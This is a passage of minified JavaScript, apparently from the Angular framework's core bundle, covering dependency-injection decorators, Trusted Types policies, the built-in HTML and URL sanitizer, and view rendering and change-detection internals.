")}`}("\n"+t.message,s,n,i),t.ngTokenPath=s,t[Cn]=null,t}const Mn=Nn(ln("Inject",t=>({token:t})),-1),Fn=Nn(ln("Optional"),8),Un=Nn(ln("SkipSelf"),4);let Bn,jn;function Hn(t){var e;return(null===(e=function(){if(void 0===Bn&&(Bn=null,j.trustedTypes))try{Bn=j.trustedTypes.createPolicy("angular",{createHTML:t=>t,createScript:t=>t,createScriptURL:t=>t})}catch(t){}return Bn}())||void 0===e?void 0:e.createHTML(t))||t}function Vn(t){var e;return(null===(e=function(){if(void 0===jn&&(jn=null,j.trustedTypes))try{jn=j.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:t=>t,createScript:t=>t,createScriptURL:t=>t})}catch(t){}return jn}())||void 0===e?void 0:e.createHTML(t))||t}class Gn{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see https://g.co/ng/security#xss)`}}class Yn extends Gn{getTypeName(){return"HTML"}}class qn extends Gn{getTypeName(){return"Style"}}class $n extends Gn{getTypeName(){return"Script"}}class zn extends Gn{getTypeName(){return"URL"}}class Zn extends Gn{getTypeName(){return"ResourceURL"}}function Wn(t){return t instanceof Gn?t.changingThisBreaksApplicationSecurity:t}function Jn(t,e){const n=Qn(t);if(null!=n&&n!==e){if("ResourceURL"===n&&"URL"===e)return!0;throw new Error(`Required a safe ${e}, got a ${n} (see https://g.co/ng/security#xss)`)}return n===e}function Qn(t){return t instanceof Gn&&t.getTypeName()||null}function Kn(t){return new Yn(t)}function Xn(t){return new qn(t)}function ti(t){return new $n(t)}function ei(t){return new zn(t)}function ni(t){return new Zn(t)}function ii(t){const e=new ri(t);return function(){try{return!!(new window.DOMParser).parseFromString(Hn(""),"text/html")}catch(t){return!1}}()?new si(e):e}class si{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const e=(new window.DOMParser).parseFromString(Hn(t),"text/html").body;return null===e?this.inertDocumentHelper.getInertBodyElement(t):(e.removeChild(e.firstChild),e)}catch(e){return null}}}class ri{constructor(t){if(this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert"),null==this.inertDocument.body){const t=this.inertDocument.createElement("html");this.inertDocument.appendChild(t);const e=this.inertDocument.createElement("body");t.appendChild(e)}}getInertBodyElement(t){const e=this.inertDocument.createElement("template");if("content"in e)return e.innerHTML=Hn(t),e;const n=this.inertDocument.createElement("body");return n.innerHTML=Hn(t),this.defaultDoc.documentMode&&this.stripCustomNsAttrs(n),n}stripCustomNsAttrs(t){const e=t.attributes;for(let i=e.length-1;0<i;i--){const n=e.item(i).name;("xmlns:ns1"===n||0===n.indexOf("ns1:"))&&t.removeAttribute(n)}let n=t.firstChild;for(;n;)n.nodeType===Node.ELEMENT_NODE&&this.stripCustomNsAttrs(n),n=n.nextSibling}}const oi=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^&:/?#]*(?:[/?#]|$))/gi,ai=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+\/]+=*$/i;function ci(t){return(t=String(t)).match(oi)||t.match(ai)?t:"unsafe:"+t}function li(t){return(t=String(t)).split(",").map(t=>ci(t.trim())).join(", ")}function ui(t){const e={};for(const n of t.split(","))e[n]=!0;return e}function hi(...t){const e={};for(const n of t)for(const t in n)n.hasOwnProperty(t)&&(e[t]=!0);return e}const di=ui("area,br,col,hr,img,wbr"),pi=ui("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),fi=ui("rp,rt"),mi=hi(di,hi(pi,ui("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),hi(fi,ui("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),hi(fi,pi)),gi=ui("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),_i=ui("srcset"),vi=hi(gi,_i,ui("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),ui("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),bi=ui("script,style,template");class yi{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let e=t.firstChild,n=!0;for(;e;)if(e.nodeType===Node.ELEMENT_NODE?n=this.startElement(e):e.nodeType===Node.TEXT_NODE?this.chars(e.nodeValue):this.sanitizedSomething=!0,n&&e.firstChild)e=e.firstChild;else for(;e;){e.nodeType===Node.ELEMENT_NODE&&this.endElement(e);let t=this.checkClobberedElement(e,e.nextSibling);if(t){e=t;break}e=this.checkClobberedElement(e,e.parentNode)}return this.buf.join("")}startElement(t){const e=t.nodeName.toLowerCase();if(!mi.hasOwnProperty(e))return this.sanitizedSomething=!0,!bi.hasOwnProperty(e);this.buf.push("<"),this.buf.push(e);const n=t.attributes;for(let i=0;i<n.length;i++){const t=n.item(i),e=t.name,s=e.toLowerCase();if(!vi.hasOwnProperty(s)){this.sanitizedSomething=!0;continue}let r=t.value;gi[s]&&(r=ci(r)),_i[s]&&(r=li(r)),this.buf.push(" ",e,'="',Ci(r),'"')}return this.buf.push(">"),!0}endElement(t){const e=t.nodeName.toLowerCase();mi.hasOwnProperty(e)&&!di.hasOwnProperty(e)&&(this.buf.push("</"),this.buf.push(e),this.buf.push(">"))}chars(t){this.buf.push(Ci(t))}checkClobberedElement(t,e){if(e&&(t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return e}}const wi=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,xi=/([^\#-~ |!])/g;function Ci(t){return t.replace(/&/g,"&").replace(wi,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(xi,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let Si;function Ei(t,e){let n=null;try{Si=Si||ii(t);let i=e?String(e):"";n=Si.getInertBodyElement(i);let s=5,r=i;do{if(0===s)throw new Error("Failed to sanitize html because the input is unstable");s--,i=r,r=n.innerHTML,n=Si.getInertBodyElement(i)}while(i!==r);return Hn((new yi).sanitizeChildren(ki(n)||n))}finally{if(n){const t=ki(n)||n;for(;t.firstChild;)t.removeChild(t.firstChild)}}}function ki(t){return"content"in t&&function(t){return t.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===t.nodeName}(t)?t.content:null}var Ti=(()=>((Ti=Ti||{})[Ti.NONE=0]="NONE",Ti[Ti.HTML=1]="HTML",Ti[Ti.STYLE=2]="STYLE",Ti[Ti.SCRIPT=3]="SCRIPT",Ti[Ti.URL=4]="URL",Ti[Ti.RESOURCE_URL=5]="RESOURCE_URL",Ti))();function Ai(t){const e=Oi();return e?Vn(e.sanitize(Ti.HTML,t)||""):Jn(t,"HTML")?Vn(Wn(t)):Ei(At(),_(t))}function Ii(t){const e=Oi();return e?e.sanitize(Ti.URL,t)||"":Jn(t,"URL")?Wn(t):ci(_(t))}function Oi(){const t=Yt();return t&&t[12]}const Ri="__ngContext__";function Pi(t,e){t[Ri]=e}function Ni(t){const e=function(t){return t[Ri]||null}(t);return e?Array.isArray(e)?e:e.lView:null}function Di(t){return t.ngOriginalError}function Li(t,...e){t.error(...e)}class Mi{constructor(){this._console=console}handleError(t){const e=this._findOriginalError(t),n=this._findContext(t),i=(s=t)&&s.ngErrorLogger||Li;var s;i(this._console,"ERROR",t),e&&i(this._console,"ORIGINAL ERROR",e),n&&i(this._console,"ERROR CONTEXT",n)}_findContext(t){return t?t.ngDebugContext||this._findContext(Di(t)):null}_findOriginalError(t){let e=t&&Di(t);for(;e&&Di(e);)e=Di(e);return e||null}}const Fi=(()=>("undefined"!=typeof requestAnimationFrame&&requestAnimationFrame||setTimeout).bind(j))();function Ui(t){return t.ownerDocument.defaultView}function Bi(t){return t.ownerDocument}function ji(t){return t instanceof Function?t():t}var Hi=(()=>((Hi=Hi||{})[Hi.Important=1]="Important",Hi[Hi.DashCase=2]="DashCase",Hi))();let Vi;function Gi(t,e){return Vi(t,e)}function Yi(t){const e=t[3];return ht(e)?e[3]:e}function qi(t){return zi(t[13])}function $i(t){return zi(t[4])}function zi(t){for(;null!==t&&!ht(t);)t=t[4];return t}function Zi(t,e,n,i,s){if(null!=i){let r,o=!1;ht(i)?r=i:ut(i)&&(o=!0,i=i[0]);const a=Rt(i);0===t&&null!==n?null==s?ss(e,n,a):is(e,n,a,s||null,!0):1===t&&null!==n?is(e,n,a,s||null,!0):2===t?function(t,e,n){const i=os(t,e);i&&function(t,e,n,i){It(t)?t.removeChild(e,n,i):e.removeChild(n)}(t,i,e,n)}(e,a,o):3===t&&e.destroyNode(a),null!=r&&function(t,e,n,i,s){const r=n[7];r!==Rt(n)&&Zi(e,t,i,r,s);for(let o=10;o<n.length;o++){const s=n[o];_s(s[1],s,t,e,i,r)}}(e,t,r,n,s)}}function Wi(t,e){return It(t)?t.createText(e):t.createTextNode(e)}function Ji(t,e,n){return It(t)?t.createElement(e,n):null===n?t.createElement(e):t.createElementNS(n,e)}function Qi(t,e){const n=t[9],i=n.indexOf(e),s=e[3];1024&e[2]&&(e[2]&=-1025,Ht(s,-1)),n.splice(i,1)}function Ki(t,e){if(t.length<=10)return;const n=10+e,i=t[n];if(i){const s=i[17];null!==s&&s!==t&&Qi(s,i),e>0&&(t[n-1][4]=i[4]);const r=gn(t,10+e);!function(t,e){_s(t,e,e[lt],2,null,null),e[0]=null,e[6]=null}(i[1],i);const o=r[19];null!==o&&o.detachView(r[1]),i[3]=null,i[4]=null,i[2]&=-129}return i}function Xi(t,e){if(!(256&e[2])){const n=e[lt];It(n)&&n.destroyNode&&_s(t,e,n,3,null,null),function(t){let e=t[13];if(!e)return ts(t[1],t);for(;e;){let n=null;if(ut(e))n=e[13];else{const t=e[10];t&&(n=t)}if(!n){for(;e&&!e[4]&&e!==t;)ut(e)&&ts(e[1],e),e=e[3];null===e&&(e=t),ut(e)&&ts(e[1],e),n=e&&e[4]}e=n}}(e)}}function ts(t,e){if(!(256&e[2])){e[2]&=-129,e[2]|=256,function(t,e){let n;if(null!=t&&null!=(n=t.destroyHooks))for(let i=0;i<n.length;i+=2){const t=e[n[i]];if(!(t instanceof Oe)){const e=n[i+1];if(Array.isArray(e))for(let n=0;n<e.length;n+=2){const i=t[e[n]],s=e[n+1];try{s.call(i)}finally{}}else try{e.call(t)}finally{}}}}(t,e),function(t,e){const n=t.cleanup,i=e[7];let s=-1;if(null!==n)for(let r=0;r<n.length-1;r+=2)if("string"==typeof n[r]){const t=n[r+1],o="function"==typeof t?t(e):Rt(e[t]),a=i[s=n[r+2]],c=n[r+3];"boolean"==typeof c?o.removeEventListener(n[r],a,c):c>=0?i[s=c]():i[s=-c].unsubscribe(),r+=2}else{const t=i[s=n[r+1]];n[r].call(t)}if(null!==i){for(let t=s+1;t<i.length;t++)i[t]();e[7]=null}}(t,e),1===e[1].type&&It(e[lt])&&e[lt].destroy();const n=e[17];if(null!==n&&ht(e[3])){n!==e[3]&&Qi(n,e);const i=e[19];null!==i&&i.detachView(t)}}}function es(t,e,n){return ns(t,e.parent,n)}function ns(t,e,n){let i=e;for(;null!==i&&40&i.type;)i=(e=i).parent;if(null===i)return n[0];if(2&i.flags){const e=t.data[i.directiveStart].encapsulation;if(e===M.None||e===M.Emulated)return null}return Nt(i,n)}function is(t,e,n,i,s){It(t)?t.insertBefore(e,n,i,s):e.insertBefore(n,i,s)}function ss(t,e,n){It(t)?t.appendChild(e,n):e.appendChild(n)}function rs(t,e,n,i,s){null!==i?is(t,e,n,i,s):ss(t,e,n)}function os(t,e){return It(t)?t.parentNode(e):e.parentNode}function as(t,e,n){return us(t,e,n)}function cs(t,e,n){return 40&t.type?Nt(t,n):null}let ls,us=cs;function hs(t,e){us=t,ls=e}function ds(t,e,n,i){const s=es(t,i,e),r=e[lt],o=as(i.parent||e[6],i,e);if(null!=s)if(Array.isArray(n))for(let a=0;a<n.length;a++)rs(r,s,n[a],o,!1);else rs(r,s,n,o,!1);void 0!==ls&&ls(r,i,e,n,s)}function ps(t,e){if(null!==e){const n=e.type;if(3&n)return Nt(e,t);if(4&n)return ms(-1,t[e.index]);if(8&n){const n=e.child;if(null!==n)return ps(t,n);{const n=t[e.index];return ht(n)?ms(-1,n):Rt(n)}}if(32&n)return Gi(e,t)()||Rt(t[e.index]);{const n=fs(t,e);return null!==n?Array.isArray(n)?n[0]:ps(Yi(t[16]),n):ps(t,e.next)}}return null}function fs(t,e){return null!==e?t[16][6].projection[e.projection]:null}function ms(t,e){const n=10+t+1;if(n<e.length){const t=e[n],i=t[1].firstChild;if(null!==i)return ps(t,i)}return e[7]}function gs(t,e,n,i,s,r,o){for(;null!=n;){const a=i[n.index],c=n.type;if(o&&0===e&&(a&&Pi(Rt(a),i),n.flags|=4),64!=(64&n.flags))if(8&c)gs(t,e,n.child,i,s,r,!1),Zi(e,t,s,a,r);else if(32&c){const o=Gi(n,i);let c;for(;c=o();)Zi(e,t,s,c,r);Zi(e,t,s,a,r)}else 16&c?vs(t,e,i,n,s,r):Zi(e,t,s,a,r);n=o?n.projectionNext:n.next}}function _s(t,e,n,i,s,r){gs(n,i,t.firstChild,e,s,r,!1)}function vs(t,e,n,i,s,r){const o=n[16],a=o[6].projection[i.projection];if(Array.isArray(a))for(let c=0;c<a.length;c++)Zi(e,t,s,a[c],r);else gs(t,e,a,o[3],s,r,!0)}function bs(t,e,n){It(t)?t.setAttribute(e,"style",n):e.style.cssText=n}function ys(t,e,n){It(t)?""===n?t.removeAttribute(e,"class"):t.setAttribute(e,"class",n):e.className=n}function ws(t,e,n){let i=t.length;for(;;){const s=t.indexOf(e,n);if(-1===s)return s;if(0===s||t.charCodeAt(s-1)<=32){const n=e.length;if(s+n===i||t.charCodeAt(s+n)<=32)return s}n=s+1}}const xs="ng-template";function Cs(t,e,n){let i=0;for(;i<t.length;){let s=t[i++];if(n&&"class"===s){if(s=t[i],-1!==ws(s.toLowerCase(),e,0))return!0}else if(1===s){for(;i<t.length&&"string"==typeof(s=t[i++]);)if(s.toLowerCase()===e)return!0;return!1}}return!1}function Ss(t){return 4===t.type&&t.value!==xs}function Es(t,e,n){return e===(4!==t.type||n?t.value:xs)}function ks(t,e,n){let i=4;const s=t.attrs||[],r=function(t){for(let e=0;e<t.length;e++)if(Pe(t[e]))return e;return t.length}(s);let o=!1;for(let a=0;a<e.length;a++){const c=e[a];if("number"!=typeof c){if(!o)if(4&i){if(i=2|1&i,""!==c&&!Es(t,c,n)||""===c&&1===e.length){if(Ts(i))return!1;o=!0}}else{const l=8&i?c:e[++a];if(8&i&&null!==t.attrs){if(!Cs(t.attrs,l,n)){if(Ts(i))return!1;o=!0}continue}const u=As(8&i?"class":c,s,Ss(t),n);if(-1===u){if(Ts(i))return!1;o=!0;continue}if(""!==l){let t;t=u>r?"":s[u+1].toLowerCase();const e=8&i?t:null;if(e&&-1!==ws(e,l,0)||2&i&&l!==t){if(Ts(i))return!1;o=!0}}}}else{if(!o&&!Ts(i)&&!Ts(c))return!1;if(o&&Ts(c))continue;o=!1,i=c|1&i}}return Ts(i)||o}function Ts(t){return 0==(1&t)}function As(t,e,n,i){if(null===e)return-1;let s=0;if(i||!n){let n=!1;for(;s<e.length;){const i=e[s];if(i===t)return s;if(3===i||6===i)n=!0;else{if(1===i||2===i){let t=e[++s];for(;"string"==typeof t;)t=e[++s];continue}if(4===i)break;if(0===i){s+=4;continue}}s+=n?1:2}return-1}return function(t,e){let n=t.indexOf(4);if(n>-1)for(n++;n<t.length;){const i=t[n];if("number"==typeof i)return-1;if(i===e)return n;n++}return-1}(e,t)}function Is(t,e,n=!1){for(let i=0;i<e.length;i++)if(ks(t,e[i],n))return!0;return!1}function Os(t,e){t:for(let n=0;n<e.length;n++){const i=e[n];if(t.length===i.length){for(let e=0;e<t.length;e++)if(t[e]!==i[e])continue t;return!0}}return!1}function Rs(t,e){return t?":not("+e.trim()+")":e}function Ps(t){let e=t[0],n=1,i=2,s="",r=!1;for(;n<t.length;){let o=t[n];if("string"==typeof o)if(2&i){const e=t[++n];s+="["+o+(e.length>0?'="'+e+'"':"")+"]"}else 8&i?s+="."+o:4&i&&(s+=" "+o);else""!==s&&!Ts(o)&&(e+=Rs(r,s),s=""),i=o,r=r||!Ts(i);n++}return""!==s&&(e+=Rs(r,s)),e}const Ns={};function Ds(t){Ls(qt(),Yt(),be()+t,Xt())}function Ls(t,e,n,i){if(!i)if(3==(3&e[2])){const i=t.preOrderCheckHooks;null!==i&&Ee(e,i,n)}else{const i=t.preOrderHooks;null!==i&&ke(e,i,0,n)}ye(n)}function Ms(t,e){return t<<17|e<<2}function Fs(t){return t>>17&32767}function Us(t){return 2|t}function Bs(t){return(131068&t)>>2}function js(t,e){return-131069&t|e<<2}function Hs(t){return 1|t}function Vs(t,e){const n=t.contentQueries;if(null!==n)for(let i=0;i<n.length;i+=2){const s=n[i],r=n[i+1];if(-1!==r){const n=t.data[r];ue(s),n.contentQueries(2,e[r],r)}}}function Gs(t,e,n,i,s,r,o,a,c,l){const u=e.blueprint.slice();return u[0]=s,u[2]=140|i,jt(u),u[3]=u[15]=t,u[8]=n,u[10]=o||t&&t[10],u[lt]=a||t&&t[lt],u[12]=c||t&&t[12]||null,u[9]=l||t&&t[9]||null,u[6]=r,u[16]=2==e.type?t[16]:u,u}function Ys(t,e,n,i,s){let r=t.data[e];if(null===r)r=qs(t,e,n,i,s),Vt.lFrame.inI18n&&(r.flags|=64);else if(64&r.type){r.type=n,r.value=i,r.attrs=s;const t=Wt();r.injectorIndex=null===t?-1:t.injectorIndex}return Jt(r,!0),r}function qs(t,e,n,i,s){const r=Zt(),o=Qt(),a=t.data[e]=function(t,e,n,i,s,r){return{type:n,index:i,insertBeforeIndex:null,injectorIndex:e?e.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,propertyBindings:null,flags:0,providerIndexes:0,value:s,attrs:r,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tViews:null,next:null,projectionNext:null,child:null,parent:e,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,o?r:r&&r.parent,n,e,i,s);return null===t.firstChild&&(t.firstChild=a),null!==r&&(o?null==r.child&&null!==a.parent&&(r.child=a):null===r.next&&(r.next=a)),a}function $s(t,e,n,i){if(0===n)return-1;const s=e.length;for(let r=0;r<n;r++)e.push(i),t.blueprint.push(i),t.data.push(null);return s}function zs(t,e,n){pe(e);try{const i=t.viewQuery;null!==i&&Sr(1,i,n);const s=t.template;null!==s&&Js(t,e,s,1,n),t.firstCreatePass&&(t.firstCreatePass=!1),t.staticContentQueries&&Vs(t,e),t.staticViewQueries&&Sr(2,t.viewQuery,n);const r=t.components;null!==r&&function(t,e){for(let n=0;n<e.length;n++)br(t,e[n])}(e,r)}catch(i){throw t.firstCreatePass&&(t.incompleteFirstPass=!0,t.firstCreatePass=!1),i}finally{e[2]&=-5,ve()}}function Zs(t,e,n,i){const s=e[2];if(256==(256&s))return;pe(e);const r=Xt();try{jt(e),function(t){Vt.lFrame.bindingIndex=t}(t.bindingStartIndex),null!==n&&Js(t,e,n,2,i);const o=3==(3&s);if(!r)if(o){const n=t.preOrderCheckHooks;null!==n&&Ee(e,n,null)}else{const n=t.preOrderHooks;null!==n&&ke(e,n,0,null),Te(e,0)}if(function(t){for(let e=qi(t);null!==e;e=$i(e)){if(!e[2])continue;const t=e[9];for(let e=0;e<t.length;e++){const n=t[e],i=n[3];0==(1024&n[2])&&Ht(i,1),n[2]|=1024}}}(e),function(t){for(let e=qi(t);null!==e;e=$i(e))for(let t=10;t<e.length;t++){const n=e[t],i=n[1];Ut(n)&&Zs(i,n,i.template,n[8])}}(e),null!==t.contentQueries&&Vs(t,e),!r)if(o){const n=t.contentCheckHooks;null!==n&&Ee(e,n)}else{const n=t.contentHooks;null!==n&&ke(e,n,1),Te(e,1)}!function(t,e){const n=t.hostBindingOpCodes;if(null!==n)try{for(let t=0;t<n.length;t++){const i=n[t];if(i<0)ye(~i);else{const s=i,r=n[++t],o=n[++t];oe(r,s),o(2,e[s])}}}finally{ye(-1)}}(t,e);const a=t.components;null!==a&&function(t,e){for(let n=0;n<e.length;n++)_r(t,e[n])}(e,a);const c=t.viewQuery;if(null!==c&&Sr(2,c,i),!r)if(o){const n=t.viewCheckHooks;null!==n&&Ee(e,n)}else{const n=t.viewHooks;null!==n&&ke(e,n,2),Te(e,2)}!0===t.firstUpdatePass&&(t.firstUpdatePass=!1),r||(e[2]&=-73),1024&e[2]&&(e[2]&=-1025,Ht(e[3],-1))}finally{ve()}}function Ws(t,e,n,i){const s=e[10],r=!Xt(),o=Ft(e);try{r&&!o&&s.begin&&s.begin(),o&&zs(t,e,i),Zs(t,e,n,i)}finally{r&&!o&&s.end&&s.end()}}function Js(t,e,n,i,s){const r=be(),o=2&i;try{ye(-1),o&&e.length>20&&Ls(t,e,20,Xt()),n(i,s)}finally{ye(r)}}function Qs(t,e,n){if(dt(e)){const i=e.directiveEnd;for(let s=e.directiveStart;s<i;s++){const e=t.data[s];e.contentQueries&&e.contentQueries(1,n[s],s)}}}function Ks(t,e,n){!Gt()||(function(t,e,n,i){const s=n.directiveStart,r=n.directiveEnd;t.firstCreatePass||Ve(n,e),Pi(i,e);const o=n.initialInputs;for(let a=s;a<r;a++){const i=t.data[a],r=mt(i);r&&dr(e,n,i);const c=tn(e,t,a,n);Pi(c,e),null!==o&&fr(0,a-s,c,i,0,o),r&&(Mt(n.index,e)[8]=c)}}(t,e,n,Nt(n,e)),128==(128&n.flags)&&function(t,e,n){const i=n.directiveStart,s=n.directiveEnd,r=n.index,o=Vt.lFrame.currentDirectiveIndex;try{ye(r);for(let n=i;n<s;n++){const i=t.data[n],s=e[n];ae(n),(null!==i.hostBindings||0!==i.hostVars||null!==i.hostAttrs)&&ar(i,s)}}finally{ye(-1),ae(o)}}(t,e,n))}function Xs(t,e,n=Nt){const i=e.localNames;if(null!==i){let s=e.index+1;for(let r=0;r<i.length;r+=2){const o=i[r+1],a=-1===o?n(e,t):t[o];t[s++]=a}}}function tr(t){const e=t.tView;return null===e||e.incompleteFirstPass?t.tView=er(1,null,t.template,t.decls,t.vars,t.directiveDefs,t.pipeDefs,t.viewQuery,t.schemas,t.consts):e}function er(t,e,n,i,s,r,o,a,c,l){const u=20+i,h=u+s,d=function(t,e){const n=[];for(let i=0;i<e;i++)n.push(i<t?null:Ns);return n}(u,h),p="function"==typeof l?l():l;return d[1]={type:t,blueprint:d,template:n,queries:null,viewQuery:a,declTNode:e,data:d.slice().fill(null,u),bindingStartIndex:u,expandoStartIndex:h,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof r?r():r,pipeRegistry:"function"==typeof o?o():o,firstChild:null,schemas:c,consts:p,incompleteFirstPass:!1}}function nr(t,e,n,i){const s=kr(e);null===n?s.push(i):(s.push(n),t.firstCreatePass&&Tr(t).push(i,s.length-1))}function ir(t,e,n){for(let i in t)if(t.hasOwnProperty(i)){const s=t[i];(n=null===n?{}:n).hasOwnProperty(i)?n[i].push(e,s):n[i]=[e,s]}return n}function sr(t,e,n,i,s,r,o,a){const c=Nt(e,n);let l,u=e.inputs;!a&&null!=u&&(l=u[i])?(Or(t,n,l,i,s),pt(e)&&function(t,e){const n=Mt(e,t);16&n[2]||(n[2]|=64)}(n,e.index)):3&e.type&&(i=function(t){return"class"===t?"className":"for"===t?"htmlFor":"formaction"===t?"formAction":"innerHtml"===t?"innerHTML":"readonly"===t?"readOnly":"tabindex"===t?"tabIndex":t}(i),s=null!=o?o(s,e.value||"",i):s,It(r)?r.setProperty(c,i,s):Ne(i)||(c.setProperty?c.setProperty(i,s):c[i]=s))}function rr(t,e,n,i){let s=!1;if(Gt()){const r=function(t,e,n){const i=t.directiveRegistry;let s=null;if(i)for(let r=0;r<i.length;r++){const o=i[r];Is(n,o.selectors,!1)&&(s||(s=[]),$e(Ve(n,e),t,o.type),mt(o)?(cr(t,n),s.unshift(o)):s.push(o))}return s}(t,e,n),o=null===i?null:{"":-1};if(null!==r){s=!0,ur(n,t.data.length,r.length);for(let t=0;t<r.length;t++){const e=r[t];e.providersResolver&&e.providersResolver(e)}let i=!1,a=!1,c=$s(t,e,r.length,null);for(let s=0;s<r.length;s++){const l=r[s];n.mergedAttrs=De(n.mergedAttrs,l.hostAttrs),hr(t,n,e,c,l),lr(c,l,o),null!==l.contentQueries&&(n.flags|=8),(null!==l.hostBindings||null!==l.hostAttrs||0!==l.hostVars)&&(n.flags|=128);const u=l.type.prototype;!i&&(u.ngOnChanges||u.ngOnInit||u.ngDoCheck)&&((t.preOrderHooks||(t.preOrderHooks=[])).push(n.index),i=!0),!a&&(u.ngOnChanges||u.ngDoCheck)&&((t.preOrderCheckHooks||(t.preOrderCheckHooks=[])).push(n.index),a=!0),c++}!function(t,e){const n=e.directiveEnd,i=t.data,s=e.attrs,r=[];let o=null,a=null;for(let c=e.directiveStart;c<n;c++){const t=i[c],n=t.inputs,l=null===s||Ss(e)?null:mr(n,s);r.push(l),o=ir(n,c,o),a=ir(t.outputs,c,a)}null!==o&&(o.hasOwnProperty("class")&&(e.flags|=16),o.hasOwnProperty("style")&&(e.flags|=32)),e.initialInputs=r,e.inputs=o,e.outputs=a}(t,n)}o&&function(t,e,n){if(e){const i=t.localNames=[];for(let t=0;t<e.length;t+=2){const s=n[e[t+1]];if(null==s)throw new g("301",`Export of name '${e[t+1]}' not found!`);i.push(e[t],s)}}}(n,i,o)}return n.mergedAttrs=De(n.mergedAttrs,n.attrs),s}function or(t,e,n,i,s,r){const o=r.hostBindings;if(o){let n=t.hostBindingOpCodes;null===n&&(n=t.hostBindingOpCodes=[]);const r=~e.index;(function(t){let e=t.length;for(;e>0;){const n=t[--e];if("number"==typeof n&&n<0)return n}return 0})(n)!=r&&n.push(r),n.push(i,s,o)}}function ar(t,e){null!==t.hostBindings&&t.hostBindings(1,e)}function cr(t,e){e.flags|=2,(t.components||(t.components=[])).push(e.index)}function lr(t,e,n){if(n){if(e.exportAs)for(let i=0;i<e.exportAs.length;i++)n[e.exportAs[i]]=t;mt(e)&&(n[""]=t)}}function ur(t,e,n){t.flags|=1,t.directiveStart=e,t.directiveEnd=e+n,t.providerIndexes=e}function hr(t,e,n,i,s){t.data[i]=s;const r=s.factory||(s.factory=_t(s.type)),o=new Oe(r,mt(s),null);t.blueprint[i]=o,n[i]=o,or(t,e,0,i,$s(t,n,s.hostVars,Ns),s)}function dr(t,e,n){const i=Nt(e,t),s=tr(n),r=t[10],o=yr(t,Gs(t,s,null,n.onPush?64:16,i,e,r,r.createRenderer(i,n),null,null));t[e.index]=o}function pr(t,e,n,i,s,r){const o=Nt(t,e);!function(t,e,n,i,s,r,o){if(null==r)It(t)?t.removeAttribute(e,s,n):e.removeAttribute(s);else{const a=null==o?_(r):o(r,i||"",s);It(t)?t.setAttribute(e,s,a,n):n?e.setAttributeNS(n,s,a):e.setAttribute(s,a)}}(e[lt],o,r,t.value,n,i,s)}function fr(t,e,n,i,s,r){const o=r[e];if(null!==o){const t=i.setInput;for(let e=0;e<o.length;){const s=o[e++],r=o[e++],a=o[e++];null!==t?i.setInput(n,a,s,r):n[r]=a}}}function mr(t,e){let n=null,i=0;for(;i<e.length;){const s=e[i];if(0!==s)if(5!==s){if("number"==typeof s)break;t.hasOwnProperty(s)&&(null===n&&(n=[]),n.push(s,t[s],e[i+1])),i+=2}else i+=2;else i+=4}return n}function gr(t,e,n,i){return new Array(t,!0,!1,e,null,0,i,n,null,null)}function _r(t,e){const n=Mt(e,t);if(Ut(n)){const t=n[1];80&n[2]?Zs(t,n,t.template,n[8]):n[5]>0&&vr(n)}}function vr(t){for(let n=qi(t);null!==n;n=$i(n))for(let t=10;t<n.length;t++){const e=n[t];if(1024&e[2]){const 